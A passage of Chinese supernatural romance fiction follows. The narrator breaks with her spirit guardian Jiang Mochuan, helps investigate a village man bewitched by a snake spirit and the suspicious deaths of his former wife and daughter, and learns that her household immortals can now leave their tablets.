江墨川被我几句话骂得耳根烧红,清楚自己不占理只能干冲我发火:“风萦!” 我气急大吼: “叫你奶奶干什么!喊那么大声你觉得你挺有底气? 江墨川,今天我就和你说明白了,我风萦不是那种强词夺理会推卸责任的人,咱们一码归一码,是我间接导致风柔身子受寒落下病根,这一点我不否认,我承担责任。 但是欠她的,从你娶她那天开始我就已经还完了。 我需要你续命,你的存在,就是为了给我延续寿数,她要走了你,导致我失去一条命,我欠她的,用一条命还,绰绰有余! 所以以后别再和我说什么,替我还债了,现在该是我向风大年一家要债了!” “你什么意思?” 江墨川惊慌抓住我的手腕,厚颜无耻地自以为是道: “本尊和你说得够清楚了,本尊会娶你! 你还在计较本尊先和柔儿成亲的事,风萦,你什么时候能改改你这小肚鸡肠的臭毛病! 等本尊找到那东西给柔儿治好了身子,本尊会信守承诺再娶你,什么叫做你用一条命还她,你现在不还活得好好的么? 本尊答应给你续命,只是晚了几天而已,又不是不娶了!” 我使劲一根根掰开他攥在我腕上的脏爪子,气极反笑,一字一句地告诉他: “意思就是,江墨川,老娘不伺候了! 管你娶不娶,老娘不嫁你了,你没用了! 你的命是我救的,你的自由是我给的,你本来就是我的仙家,就算不是风柔主动要的,你跑过去她接受了你,就算她强占我的东西。 她既然这么稀罕你,你又那么喜欢她,那我就把你送给她。一条命抵我欠她的债,足够了。 江墨川,我不是没长脑子,我欠她的那丁点,还不至于要我这辈子当牛做马,活一日就得处处让着她,不计成本的去还!” 江墨川神色愈发不安,被我甩开的手僵在半空,愕然瞪大双眼直勾勾盯我,不肯相信的喃喃问:“你、不要我了?” 顿了顿,又拧眉,再次抓住我的胳膊,这次无论我怎么挣扎都死活不松,眉眼暗添几分戾气,高高在上的目光阴鸷道: “别以为你这样说,本尊就会上你的当! 本尊告诉你,就算你识趣不和柔儿争风吃醋,争抢本尊,你欠柔儿的也一辈子都还不完! 你休想撇清干系,洗清这一身罪孽!” 他发了狠地卯足劲抓我小臂,我越挣扎他指尖力度越重,似恨不能捏碎我手臂这根骨头。 我疼得浑身冒冷汗,心火被他这番逆天言论气得疯狂翻涌,忍无可忍的低头一口啃在了他手背上—— 他痛得手上一颤猛撒开,我趁机后退两步警惕地离他远点,气喘吁吁的大声反驳: “你做梦!还想控制我的思想洗脑我,让我心甘情愿做风柔的养分?江墨川你打错算盘了! 我早就发现你在面对我和风柔时,根本做不到公平对待,无论我做什么你都会以最大的恶意揣度我,你都只会偏心偏帮风柔,所以我压根不需要你的认可! 你喜欢风柔,我成全你!但你给我记住了,你是我用来抵消对风柔亏欠的物品,你没资格说判定我欠她的能不能还完。 江墨川,认清自己的身份,我可以因为对风柔的那份亏欠容忍风柔,但是你不一样,你的命是我救的。 你亏欠我的,可比我亏欠风柔的还多,我没理由容忍你的恶意。 你给我记牢了,从现在开始我不欠你们任何人,再道德绑架了,我就要还手了。” “你要、把我送给风柔?” 他眸中一黯,眼底划过一抹慌乱,捏紧双拳勉强保持镇定,厚着脸皮嗤笑一声: “几日不见,长本事了。你觉得本尊会信? 风萦,没有本尊娶你,借寿给你,你会死。 没人比本尊更清楚你有多惜命,本尊知道,前几日本尊为了保护柔儿,不顾你的安危害你多流了点血,寒了你的心,你心中对本尊和柔儿有怨,本尊可以谅解。 但是风萦,不要得寸进尺,本尊对你已经足够有耐心了,再说这些话,本尊真不娶你了!” 我冷笑,捂着裂痛入骨的左臂凝声反问他:“江墨川,你说,你如果失去了为我续命的价值,我还用得着给你脸吗?” 他听罢,脸上血色一瞬褪尽,脊背一震,不死心地深深直视我: “本尊能感受到,你对本尊的喜欢,大过本尊能为你续命的价值。” 我自嘲道: “原来你能感受到啊,我还以为你没看出来呢,那你就更罪无可恕了。 仗着别人的喜欢肆无忌惮地伤害别人,你凭什么认为,别人会傻乎乎地被你恩将仇报作践一辈子? 泥人还有三分气性呢,何况我不是泥人,我记仇。” 他一个恍惚,双目无神地僵在原地。 我甩甩胳膊果断选择先走为上,不想再和这种不讲理的非人类纠缠。 喜欢?呵呵,我是喜欢他那双红蓝异瞳,谁让我是异瞳控来着。 可喜欢又不是爱,他爱风柔,可以为了风柔豁出性命,我不行,我又不爱他! 我们之间仅剩的那丁点情义,早就被他设在风柔家门口的那道雷光结界给劈没了。 从今以后,他在我这只会有白眼狼这一个标签! 再回到阿乞师叔他们的队伍里,赵家婶子已经讲到了关键部分: “我家小儿媳妇说,那蛇是两个月前大山从黄河边捡回来的,当时还是小小一条,大山瞧它长得漂亮,就带回来了。 我家这个缺根筋的小儿媳妇原本想劝他不要养的,谁知道大山一见那蛇就被迷上了,瞧自个儿媳妇不高兴,就吼了媳妇两句,媳妇啊窝囊的不行,还真就随他去了。 一开始是养在厨房里,大山一日三餐的喂那条蛇,一天二十四小时,能和蛇待在一起十五六个小时! 那蛇长得可快了,不过半个月就长到半米长了,又粗又凶,看见大山媳妇就吐蛇信子,吓得大山媳妇平日都不敢再靠近厨房。 一个月前大山也不知道从哪听说用腐肉喂蛇能让蛇长出好看坚硬的蛇鳞,就特意从外面带了些死羊死鸡回来,喂着喂着,大山就、开始去偷挖新坟,给那条蛇喂死人肉。 那蛇也是肉眼可见的越长越大,到现在,都长成两米长,碗口粗的大蛇了!那蛇和大山的事,听大山媳妇说,也是从一个月前开始的。 大山和他媳妇才结婚不到一年,两人在那方面上,并不太和谐。大山是过年那段时间开始直接睡在厨房陪那条蛇,晚上不回屋的。 他媳妇见他总不回去,担心他夜里被蛇吃了,就在五六天后,夜里偷偷打开厨房的窗户,想看看情况,这一看可不得了,那蛇和大山就……滚在了床上! 大山媳妇又害怕又觉得丢人,大山媳妇不敢往外宣传,担心让大山没脸,就帮大山瞒了一段时间。 上个月月末,大山媳妇无意发现那蛇肚子鼓起来了,一问大山,哎,谁知道大山说那蛇怀孕了! 大山媳妇一听这还得了,生怕再闹出什么事,才偷偷和我还有他爹说! 我和他爹也劝过大山几次,但大山已经被那条妖物迷惑住了,无论如何也不许我们将那条蛇送走,现在更不许我们靠近那条蛇。 今天要不是他带着那条蛇出门了,我也不该让你们过来!你们说说,这人和那东西……像话吗!” 说话间赵家婶子已经推开了她口中的那间厨房。 厨房木门吱呀敞开,入眼就是一张床,一张放东西的木桌。 里头才是地锅与堆稻草木柴的地方。 农村的厨屋盖得都不大,一眼扫过去就能看完整间房的布局。 窗子就在床头木桌上方,夜里要是有人推窗往里望,里面的人根本没有半分隐私可言。 怪不得大山的媳妇能看见大山和那东西在床上…… 嘶,世风日下,活久见。 王白雾也不晓得是不是理解能力有问题,亲热地挽着赵家婶子胳膊就挑拨离间: “我也觉得小红那个女人脑子不好,智商有缺陷。婶子你当初怎么给大山哥挑了这么一个木头疙瘩做媳妇! 你看看,吴小红刚进家门,就让大山哥撞上这种事,她晦不晦气啊!要不是她连大山哥的心都笼络不了,大山哥至于和一条蛇……违背伦理吗? 我瞧那个吴小红就是丧门星,既然大山哥不喜欢他,婶子你不如把她撵回娘家,省得她压老赵家气运。 我可听说,这个吴小红当闺女的时候就不老实,肚子里怀过,好像刚打,就和大山哥在一起了,这打过胎的女人身上晦气重,冲夫家!” “是吗?”赵家婶子本来还一脸不耐烦,猛听见儿媳妇嫁过来前打过胎,脸色顿时就变了:“我怎么不知道这件事!” 王白雾还在边上煽风点火说得有鼻子有眼: “哪敢让你这个准婆婆知道啊,她家那条件,知道了还怎么高攀赵家啊。” 赵家婶子老脸铁青地怀疑道: “难不成真是大山媳妇犯忌讳了?” 眼神一时变得格外凶狠:“我就说大山怎么不愿意碰她,原来是嫌她肚子里死过人!” 这个形容听得我和流苏皆是一阵生理性不适,我沉声道: “大山哥本来就是二婚,现在早就提倡恋爱自由婚姻自由了,又不是旧社会,一个女生一辈子只能和一个男人绑死。 小红嫂子不也没有在乎大山哥的过往吗?而且都这个岁数了,谁还不能有个过去呢。” 王白雾白了我一眼,一本正经道: “那能一样吗,哪个男人没有过去?哪个好女人有过去? 何况像大山哥条件这么好的男人,就算找个十七八岁的年轻小姑娘当老婆传宗接代也是能找到的! 吴小红嫁给大山哥,那是她高攀,积了八辈子的福!” 之前还一个好脸色都不给她的赵家婶子这会子被她夸得眉开眼笑,口不对心地装谦虚:“你这孩子,说爱夸大其词。” 流苏搂着我的胳膊干笑笑,小声说: “你这不会就是,雌竞吧?你是不是把小红嫂子当情敌了?怎么感觉你比婶子还在意大山哥。” 王白雾沾沾自喜的笑容僵在脸上,被人穿拆了那些见不得光的小心思,脸上挂不住的生气指着流苏威胁:“你再乱说话信不信我撕烂你的嘴!” 流苏胆怯地抖了下,忙往我身后躲。 我护住流苏反威胁回去:“你再吓我妹妹,信不信我先撕了你!” 见我俩之间剑拔弩张的,风柔夹进来当起了和事佬:“好了白雾,你别和小萦吵,她还小。” 扭头又和我说:“白雾就是心直口快,小萦你别当真。” 为难地瞧了眼赵家婶子,风柔帮王白雾说话: “小红嫂子这事是做得不对……身上阴气重,是会引来妖物。” 我不可思议的冷笑:“事情还查出个前因后果呢,你们就急着给小红嫂子定罪了?” “我不是这个意思。” 风柔赶忙凑过来拉住我的手,唯唯诺诺说: “我知道你上过大学,是有见识的知识分子,你对外面杂乱的男女关系都见怪不怪,习以为常了,可是,在咱们村里,女孩子还是要洁身自好为好……” 赵家婶子听罢也揣着手寒了脸: “是啊,小萦你已经回村了,就别把外面乱七八糟的习惯带到村里来,咱们村住的可都是老门老户的老实人,实在吃不消外面那一套!” 我哽住,不自在地甩开风柔手,冷冷呛回去:“婚前怀孕是不老实,那明知别人都要结婚了还刻意插足……” 谁知话刚说出去,江墨川就火急火燎赶过来一把拽过风柔护进怀里,红着脸强势打断: “风萦!我早就说过我心里只有柔儿,是你偏要横插一脚,试图破坏我和柔儿的感情。 风萦,我和柔儿早就有婚约了,你死了这条心吧!” 第一卷 第30章 和龙王爷离了,我娶你! 我被他这句话给震得半晌没反应过来,他竟然为了保护风柔反将插足别人婚姻的污水泼在了我身上! 见过不要脸的,但真没见过这么不要脸的! 他这话一出,赵家婶子看我的眼神都染上厌恶泛着凶光了。 我想解释,杨泽安抢先一步替我骂了回去: “说你有癔症你还不信,现在都开始幻想小萦喜欢你了。 你不是刚从外地回来吗?你不是和风柔网恋了好几年吗? 小萦怎么横插一脚?她在梦里插足你们吗? 我怎么看见,是你总纠缠小萦呢。 你该不会是嫌风柔长得没小萦好看,就想勾搭小萦,小萦不理你,你气急败坏才污蔑小萦的吧?” “你!”江墨川也没料到他自己撒下的谎最后却成了杨泽安用来证明我清白的证据,咬牙怨气极重地盯着我说:“她在网上勾引我!” 我干笑两声,默默掏出手机,打开聊天软件,亮出比我连都干净的联系人列表,淡定说: “我只有我妈,和杨泽安两个联系人,我怎么勾引你。再说,我在网上怎么勾引你,我隔空骚扰你吗? 我给你发信息你完全可以不回啊,苍蝇不叮无缝的蛋,我如果真能在网上勾引你,证明你也不是个好东西!有病就去看脑子。” 杨泽安眯了眯眼,镇定拿出更有力的证据: “刚才可是你把小萦拽走的,真撕破脸,小萦把你的那些话抖出去,你的柔儿可就又要寻死觅活了。” 风柔先被杨泽安吓慌了,抓住江墨川的手眼圈发红地朝江墨川摇头。 江墨川护住风柔,恶狠狠剜我一眼,没再敢发疯。 流苏抱着我胳膊委屈哼唧:“二姐,她们好烦,好想喊姐夫过来给她们点颜色看看。” 紧紧搂着风柔的江墨川一怔,没控制住的仓皇失色疾声问道:“什么姐夫?风萦,你哪来的丈夫?!” 赵家婶子看江墨川的眼神也变了,王白雾无奈猛扯江墨川衣角:“师兄!你、这么激动干什么。” 杨泽安双手一摊:“你看,我就说这人有癔症。” 赵家婶子尴尬的呵呵两声,目光在我和江墨川身上来回扫。 拿罗盘测磁场的阿乞师叔打了个响指,将大家的注意力拉回正事上:“那东西和你儿媳妇无关,你家这间屋子怨气很重,是不是死过人?” 赵家婶子一惊,表情奇怪地低头,犹豫很久才说:“是,大山的上个媳妇就是在这屋病死的。” 阿乞师叔继续说:“还有一个小的。” 赵家婶子再次为难点头:“啊,我那个小孙女,也是在这屋病死的……” 阿乞师叔收了罗盘,问:“两个都是病死的?” 赵家婶子僵住身体,目光躲闪声音有点抖:“啊对,大山上个媳妇从小就有病……孩子也是、遗传。” 王白雾立马理直气壮地给赵大山解释: “上个女人有肺病,淋了雨就没了。 那个丫头也是贱命,她妈刚死她就不小心摔进了小池塘里。 捞上来没多久就断气了,说不准就是她妈勾走了她的魂!” 赵大山上个媳妇的事我也有所耳闻,村里传扬的说法确实和王白雾说的一样。 从前我也见过那位嫂子,人长得很秀气,性子温柔娴静。 我对她的印象不深,没怎么接触过,但让我比较记忆深刻的是,她很爱她的女儿。 上次见她,是在老刘家的婚席上,她和杨大山带着女儿去吃席,酒过三巡后,她闺女和村里的孩子们一起玩炮仗,结果被赵家老大的儿子给用炮仗炸了手。 幸好那炮仗威力小,只炸伤了小丫头的皮肉,没有伤到骨头。 她心疼地抱着女儿去找老大两口子讨说法,结果反被婆婆赵家婶子说了一顿。 赵家婶子说她是个只会生赔钱货的废物,还说要把小丫头送给自己娘家老舅养。 她听完坚决不同意,抱着女儿就和杨家婶子当着众人面吵了起来。 后来喝醉了的杨大山以为她欺负杨家婶子,上去就用力抽了她一巴掌,把她鼻血都打了出来。 不过那一巴掌后,杨大山猛地醒酒了。 最终这场闹剧是以杨大山搂着痛哭涕零的妻女内疚道歉,哄着妻女先一步回家收场的。 那时候的她还有力气为了女儿和大嫂婆婆对骂,没想到只半年光景,她就病逝了。 “病死的……”流苏颤声喃喃。 我感觉到流苏在抖,好奇扭头,却发现流苏在盯着床尾墙头上挂着的那把镰刀发愣,脸上没有一丝血色,嘴唇发乌发颤…… 那把镰刀,有什么问题吗? 流苏的异常反应看得我背上发寒,我吞了口口水,着急拍了拍流苏手背,迎上她恐惧的眼神,摇头示意她不要被人发现。 流苏听话地把头埋在我肩上,双手抓紧我的胳膊,牙齿打颤。 我把流苏抱进怀里,还好流苏在外人面前一直都是这副内向模样,见过她的人都知道她胆小,所以她此刻的反常才没有被任何人注意到。 阿乞师叔还要再问些事,但赵家婶子却像是有意在截阿乞师叔的话头,转移话题问:“道长,那条蛇能收吗?” “这间屋子阴气重,蛇气也重,那条蛇至少有五百年道行了,不排除是被你家阴气引过来的。 但和你儿媳妇没有关系,就算你儿媳妇打过胎,一个胎儿的阴气才多少? 你这间屋子病死过两个人,你儿子又是在这间屋子里养的蛇,很明显就是这间屋子的问题,你自己家造的孽。” 赵家婶子听了阿乞师叔的话,慌忙追问:“啊?那我们该怎么办啊!道长你可得想法子收了那条蛇,救救我儿子啊!” 阿乞师叔摸着下巴想了下,说:“等你儿子和那条蛇回来,你打电话通知我们,我们立马过来抓它。” 赵家婶子连连点头:“好好好,那我儿子他总和那条蛇在一起,不会有什么危险吧?” 江墨川抢先说: “那条蛇一定是看中了你儿子的精元与这间屋子内的阴气,她跟在你儿子身边这么久都没吃掉你儿子,现在又怀了孕,怀孕的母蛇正是需要精元供养的时候,至少在蛇种生下来前,她不会吃你儿子。” 赵家婶子这才敢松口气,拍拍胸脯:“那就好那就好。” 阿乞师叔招呼我们:“踩完点了,走吧!” 我们一行人迈出厨屋后,江墨川那个小人又递给了赵家婶子一张黑底白字的阴符,嘱咐赵家婶子: “等杨大山回来,你把这张符烧成符水,哄杨大山喝下,这样那条蛇再来纠缠杨大山,就会被杨大山体内的法力重创。” 赵家婶子忙收好符纸,点头答应:“我知道了!” 杨泽安离开的步伐顿了下,抽了抽嘴角厌恶道:“在别人上床的时候下手,真够不要脸的!” 阿乞师叔摆摆手:“咱们是正道弟子,不干这种缺德事,先弄清来龙去脉吧。” 回去的路上,我们正好迎面撞上赶集回来的小红嫂子。 只是没等我们和她打声招呼,她就挎着菜篮子躲鬼似的避着我们跑了。 杨泽安不明所以地掐腰自我怀疑:“咱们长得很吓人吗?” 阿乞师叔意味深长地叹口气:“哎,她身上怎么也有。” 她身上,也有什么? 回了家,我们四人围坐在院子里的木桌前互通信息。 阿乞师叔率先说: “那间厨房里怨气很重,赵大山的前妻和闺女绝不是简单的病逝,病逝的人身上产生不了这么强的怨念。” 杨泽安接上:“我从赵大山家的抽屉缝里看见了一张照片,应该是赵大山和前妻还有女儿的合照。但照片上他前妻与女儿的脸都被红色马克笔给涂了。” 阿乞师叔冲发呆的流苏打了个响指,“快,说出你的答案!” 流苏讷讷回神,眼中无光地恐慌道:“我、看见……镰刀,带血的镰刀,地上全是血,墙上喷溅的,也有血……” “墙上有喷溅状鲜血?”杨泽安拧紧眉头推测:“凶器应该就是镰刀,死因,大概率是切喉。” 我听得浑身起鸡皮疙瘩,头皮发麻地低声确认:“你的意思是,杨大山的前妻是被杨大山,用镰刀杀死的?” 阿乞师叔点头,“结合苏苏的说法,真相极有可能就是这样!” 流苏惴惴不安的抠手:“可是、我那会不会是幻觉……我、总是能看见很多吓人的画面,姥爷说,我是有病。” 阿乞师叔坐直身子一本正经说:“你不是有毛病,那些也不是幻觉,你只是有阴阳眼而已。” 流苏一激灵吓得站起来:“啊?我怎么、会有阴阳眼?” 阿乞师叔掐指一算:“你的阴阳眼应该是遗传你父亲的。哦不,准确来说,是你父亲不要给了你。” “啊?”流苏傻傻呆住。 阿乞师叔轻轻说: “你父亲的命格一定很特殊,所以会生来自带阴阳眼,但阴阳眼这东西虽然能让人看见与别人眼中不一样的世界,可却容易破运。 我算了下,你父亲家应该往上几代都是生意人,而且家族产业挺庞大,家财万贯,存款丰厚,属于几代人什么都不干都挥霍不完的那种有钱。 我猜,你爸幼时就已经暴露了自己有阴阳眼的秘密,你家长辈为了保住家中财运,请了高人封了你爸的阴阳眼。 因此他的阴阳眼才会在有了你以后,遗传给你。 但这种逆天改命的事往往都是要受反噬的,老天爷给了你爸阴阳眼八成是早有安排让你爸帮忙做些什么。 其实阴阳眼破运,只会破自己的,如果你爷爷肯在你爸幼时就把你爸送出家,放外面养着,你爸是完全不会影响到家里的。 可他们没有做,还为留住你爸,封了你爸的阴阳眼,这就是在和老天爷作对啊! 你爸你妈后来过世,也是遭了天谴。 幸好你没有让人封你的阴阳眼,不然你迟早也会遭天谴。” 我恍然大悟,怪不得流苏能在赵大山家里看见血! “所以,我从前看见的那些都不是幻觉,是真实存在的?”流苏后怕地抱住自己。 阿乞师叔点头: “对喽!不过你也不用怕,现在的鬼都可有道德了,冥界有个不成文的规矩,鬼魂到阳间,不动阴阳眼。 毕竟阴阳眼都有点说法,谁也不知道哪个阴阳眼背后的靠山是哪位惹不起的大佬。” 我握住流苏的手安慰: “没想到你的眼睛和我们的不一样,不过没关系,你和我们在一起,出什么事我们可以保护你!” 流苏懦懦地挤近我,抱住我胳膊:“那二姐,我可以在你家多住一段时间吗?我一个人害怕。” “当然可以啊。”我一口应下:“反正我家只有我一个人住,你在还能陪我说说话。” 杨泽安托腮瞟了眼堂屋内的几副牌位: “其实,阿乞师叔说得对,你还不如把这些仙家送给阿乞师叔做兵马呢,至少不用你的血供养了。 别人养一个白眼狼就已经是倒了八辈子血霉了,你却养了一屋子! 我要是早知道你从前在家里过的是这种苦日子,我就从省城回来陪你了。” 我心平气和地说:“也挺好的,我家小,两个人生活刚刚好,人太多反而太吵。” “你啊就是心太软,换成我早就把它们丢黄河里放生了! 真正信任你在意你的人怎么会因为别人的几句挑拨就离开你,比如我,当年他们都说你克我,你泽安哥我不还照样护着你,把你放在心尖上。 你就是嫁人太早,江墨川那畜生放你鸽子,你应该第一时间告诉我的,没人娶你,你可以喊我啊! 这么多年来,只要你一个电话,我哪次不是立马飞奔到你身边。 哎,小萦你说你,我这么一块璞玉天天在你眼前晃悠,你怎么就没注意过我呢。” 杨泽安说着还臭不要脸地凑近我出馊主意: “要不然,你和那位龙王爷离了吧!我娶你! 反正你已经借到寿了,他也没用了,你俩离婚我俩去扯证。 咱俩可是青梅竹马从小一起长大,你还能对我也不放心吗!” 第一卷 第31章 抱龙仙大人的大腿很有安全感! 我:“……” 虽然咱俩交情深,但我对他实在产生不了超越友情的其他感情。 他这人吧,仗义靠谱,嘴欠却心软,身上不少优点,长得也还行…… 可,这张脸和龙仙大人比,还是差远了! 再说龙仙大人还要帮我找九片龙鳞呢,我抱龙仙大人大腿可比抱他大腿有安全感多了! 龙仙大人是脾气差了点,但我需要他的时候他从未缺席过。 杨泽安不会懂的,他和杨大哥对我来说是好友,是哥哥,而龙仙大人对我而言,是护身符,是定心丸! 最最重要的是,龙仙大人长得帅啊。 那张脸,真是令我相见恨晚。 我要是早几年认识龙仙大人,还有江墨川什么事…… 我张了张嘴,想打断他的幻想来着,谁知蛇仙柳云衣不知何时突然冒了出来。 一袭白衣银冠高束,顶着张惨白的俊脸,面无表情地飘在杨泽安背后。 伸手戳戳杨泽安的肩头,不高兴地提醒杨泽安: “嘿!说什么呢?我都听见了。你说我们俩现在谁才是最有可能被丢进黄河放生的那个? 敢怂恿小萦和龙尊大人离婚,你可真是嫌命长了。” 刚拿起水杯准备倒茶的杨泽安险些被柳云衣吓得从板凳上摔下去! 仓皇扭头,看见身后的白衣仙家,杨泽安右眼角跳了跳,问我:“这是哪个来着?” 我淡定介绍:“白蛇仙柳云衣,黄河本土蛇,你别害怕,他不咬人。” 杨泽安石化了一阵,几秒钟后,杨泽安再次惊恐大叫: “我了个去,他怎么从牌位里飘出来了!” 柳云衣默默在我身边找了个空位坐下,提起茶壶给杨泽安倒上: “二月二那天小萦以为自己活不了了,就放了半碗血供养我们。 我们饮了她太多精血,修为提高了很多,现在能短暂地从牌位里出来,在院子里溜达溜达。 不过我们的活动范围仅限于这个院子,我们出不了院门。 且在外面被晒久了还得回牌位里运功回回血。” 我好奇问:“那胡玉衡和沈沐风他们是不是也能出来了?” 柳云衣点头:“今天都能出来了,不过我们在外面不能待太久,我们几个商量过,可以轮流出来陪你。” 我哦了声,“挺好,能出牌位至少算进步了,现在可以在院子里溜达,以后说不准能慢慢扩大可活动的范围。” 流苏开心说:“那我们家以后就热闹了,再也不会像从前那么冷清了。” 柳云衣愧疚低头,半晌,嘴角抿出一抹温柔的笑:“对,以后再也不会了。” 阿乞师叔摸着下巴琢磨: “黄河本地蛇?那是不是可以帮我们闻闻那条蛇的气息,通过她的气息定位她的方位!” 说完,阿乞师叔忽然从腰间扯下一个灰布袋往柳云衣鼻子前一送。 柳云衣也像猛地想到什么似的,立时激动道: “嗷对对对!我出来也正是想问你们母蛇的事,我刚听你们说有条修为在五百年之上的母蛇缠着那个赵大山,你们知道那条母蛇长什么样吗? 实不相瞒你们一进院子我就隐隐从你们身上闻见了熟蛇的气息,你们口中的那条母蛇该不会就是我认识的那条吧!” 结果灰布袋,柳云衣边说边拉开布袋低头嗅里面的妖气。 阿乞师叔摊手:“不知道啊!赵家婶子只说赵大山是因为那条蛇长得漂亮才把她带回家的,我们今天过去只看了蛇窝,并没有见到那条蛇。” 杨泽安着急追问: “怎样,这气息你熟不熟?是不是你认识的那条?如果你认识,那就好办了! 咱们还费劲抓她干什么,直接让你去和她商量商量,让她别缠着赵大山了不就得了!” 柳云衣脸一黑,昂头尴尬和杨泽安说:“要真是她……我就完了!” “咋地,你和她有仇啊?”杨泽安惊道。 柳云衣把灰布袋放在桌上,为难说:“也不是有仇吧,就是有点小恩怨。我当年,伤过她的心。” 杨泽安斜眼觑他,明白了一两分:“我懂了,你欺骗她感情了!” 柳云衣不好意思地闷咳两声:“啊这个么……别说得这么直白嘛。” 阿乞师叔见他查完,急着确认:“怎么样,是你认识的那条蛇吗?” 柳云衣表情凝重地摇摇头:“像,又不像。” 我听得一头雾水:“什么叫做,像又不像?” 柳云衣沉声说: “是有几分熟悉,可这气息里又夹杂着另一缕陌生气息。 这条蛇身上的气味很杂,怪了,按理来说不应该是这样。” 杨泽安失望地拉长脸:“所以你闻了个寂寞。” 柳云衣无奈为自己辩解: “这蛇身上有两缕气息掺杂着,你可以理解为每条蛇,身上都有一缕仅属于她的气息,我们同类之间可以靠这缕气息辨认自己的同伴。 按理来说,一条蛇,身上只有一缕气味,可这条蛇身上有两缕,就像是两个人的魂魄强行挤在一个壳子里。 这让我怎么辨认嘛! 她身上气味太杂,我也不确认她是因为和我认识的那条蛇同在黄河,有过交情接触或是打过架,所以身上沾染了我熟悉的气息。 还是她就是我印象中的那条母蛇,只是经历了一些事,害自己身上气息变杂了。” “两个人的魂魄强行挤在一个壳子里?她的身体里还可能装着别人吗?”阿乞师叔认真琢磨。 柳云衣提议道: “这样,等你们去抓那条蛇的时候带上我。 一来我可以确认她是不是我认识的蛇,二来同属蛇类我也可以帮上你们!” “带上你一起?”杨泽安嫌弃问:“把你的牌位揣怀里吗?需要你的时候拿你牌位砸死那条蛇?” 柳云衣不好意思的扶额:“我也没办法啊,你又不是不知道我们现在的情况……体谅一下呗。” “带上你也行,你是蛇仙,比我们更了解你的同类。” 阿乞师叔斟酌道: “不过我还是觉得,赵大山前妻和女儿的死,咱们也得查。 赵大山为什么要杀他前妻,他女儿又是怎么死的,还有他现任妻子吴小红是不是知道些什么。” 杨泽安一拍大腿, “对哦,今天吴小红一见我们就跑,咱们是在她家屋后的小路上撞见她的,她肯定晓得咱们刚从她家出来。 咱们又不是长得凶神恶煞才让她那么害怕,她那么躲着咱们…… 除非,是心里有鬼,不敢和咱们说话,怕咱们追问太多!” “可惜我们和小红嫂子不熟,要不然也能去试着了解点情况。”流苏轻声说。 阿乞师叔淡定道:“不急,先一桩一桩来。等晚上那条蛇和赵大山回来,我们再去打探具体情况。” “嗯。”我点头,拎起茶壶去厨房:“我再加点热水。” 杨泽安背着我和柳云衣用胳膊肘撞来撞去:“你们从前不是不乐意从牌位里出来吗!” “我、我们……你管我们!” “我警告你们,再敢欺负小萦,我就把你们的牌位丢锅炉房烧了。” “你多虑了,别说现在我们已经知道一切了,即便我们还误会着小萦……龙尊大人在咱们头上镇着呢! 你不晓得龙尊大人脾气有多大,上次那条死蛟带着他老丈人来家里找流苏妹妹,那条死蛟非要进堂屋搜。 我们那会子正犹豫要不要出手,胡玉衡尾巴都慢慢伸出来了。 谁知龙尊大人急性子,以为咱们故意不帮小萦,一脚就把胡玉衡从供桌上踹下去了,还出手震退了那条死蛟。 不许他靠近堂屋,那条死蛟还以为是胡玉衡挡的他,啧,他也不想想胡玉衡哪来那么大的本事,一掌将他劈退好几米。 上次你说出实情,龙尊大人也在堂屋,当晚就把咱们揍了一顿,警告咱们再欺负小萦,就让咱们灰飞烟灭…… 现在有龙尊大人护着小萦,杨泽安,你也可以松口气了。” 我迈进厨房的步伐一顿。 那天,帮我的人,是龙仙大人…… 怪不得胡玉衡的牌位在地上趴着,背后还有脚印。 不自觉地攥紧五指,我拎着茶壶感动到鼻子发酸。 我就说龙仙大人才是最可靠的那一个吧! 我妈的眼光就是好! 龙仙大人,从今以后我就是你最忠实的信徒,你让我往东我绝不往西,家里最好的香火我定先烧给你品尝。 别说是需要我一点力量帮你恢复修为了,你就算不小心吸死我,我都会夸你力气大! 可能是对我的厨艺不太放心,杨泽安和阿乞师叔中午没有留在家里吃饭。 我和流苏两个人好对付,随便炒了盘青椒小肉丝就解决了。 至于柳云衣,我让他回牌位里吃他的香火去了。 下午流苏趴在堂屋里翻看我的初中语文教材,磕磕巴巴地读出课本上几段晦涩拗口的古诗: “蒹葭苍苍,白露为霜,所谓伊人,在水一方…… 溯洄从之,道阻且长,溯游从之,宛在水中央…… 溯洄从之,是河水顺流吗?河里石头太多,所以水路走得很艰难? 溯游从之,是跳进水里游过去了? 为什么伊人要在水中央,万一掉水里了怎么办?” 黄仙晃着尾巴,翘着二郎腿托腮飘在供桌上方:“掉水里再捞起来呗!” 流苏老实巴巴地认真嘀咕:“还好别的地方河流和我们这边的黄河不一样,要是从黄河水中央掉下去,就捞不上来了。” 胡玉衡耐心解释: “溯洄从之,道阻且长,溯游从之,宛在水中央。 意思是他想逆流而上去找寻姑娘,但是河边道路崎岖坎坷不好走,他想顺流而下去找那姑娘,那姑娘又像站在水中央,隔水与他相望,始终可望而不可即。 这是首情诗,主要说的就是主人公特别喜欢一个姑娘,可无论他如何努力追寻,那姑娘都遥遥站在水一方,让他无法触及。” 虎仙风震野大大咧咧问: “这春心荡漾的小青年该不会是遇见水鬼了吧,我听说水鬼就爱站在水面上勾搭年轻男女。 等对方一靠近,就一把将对方拽进水里替死。” 白仙竖起一身尖刺,顿时与虎仙产生了强烈共鸣:“啊——说的是哦!这哪里是情诗,分明就是鬼故事嘛。” “别胡说,这可是古代乐府诗经,官方诗典怎么可能收录鬼故事。你们啊,还是努力提高文化水平吧!” 胡玉衡从虚空一跃而下,化成人形拿了件外套给趴桌上打瞌睡的我披上,怅然怀念道: “小萦当年也是在这张桌子上写作业背课文的。” 沈沐风摇着桃花折扇,挑起一双好看的吊梢桃花眼低笑: “可不是么,那时候你教她政治历史,我教她语文与作文。 奈何这丫头天生不是学习的料,咱们一给她上课她就打瞌睡。 呐,就像现在这样,高中的文言文我都没开嗓念呢,她就已经一头倒下去了,比催眠术都好用! 想我沈沐风可也是堂堂状元出身,昔年那治国策甫一问世就被拿去满朝堂传阅,连帝师都夸我是千载难逢的奇才。 结果却把她教的语文差点不及格,作文五十分只能拿二十五分。 那二十五分还是她老师看她字写得不错给的卷面分!” 流苏拿着书小声帮我说话: “可是,你们难道忘了吗,二姐读书很晚。 她小时候也是村里人人夸赞的神童,二舅教她认字写字,她每次都能很快消化完,她的一手好字就是那时候练出来的。 二舅二舅妈相继不在二姐身边后,二姐就被送去给大舅舅养了,大舅舅表面疼爱二姐,为了给二姐腾地方住,让大表姐去牛屋住。 可大表姐从六岁开始,就被送去上学了,大舅舅打着二姐身体不好的幌子,不让二姐上学。 二姐是从六年级开始上的,中学课业那么重,那么难,二姐吃不消的。 二姐身体还不好,中学的课业也落下来很多,你们过来那年二姐正好要高考。 你们嫌二姐笨,可二姐已经很努力了。 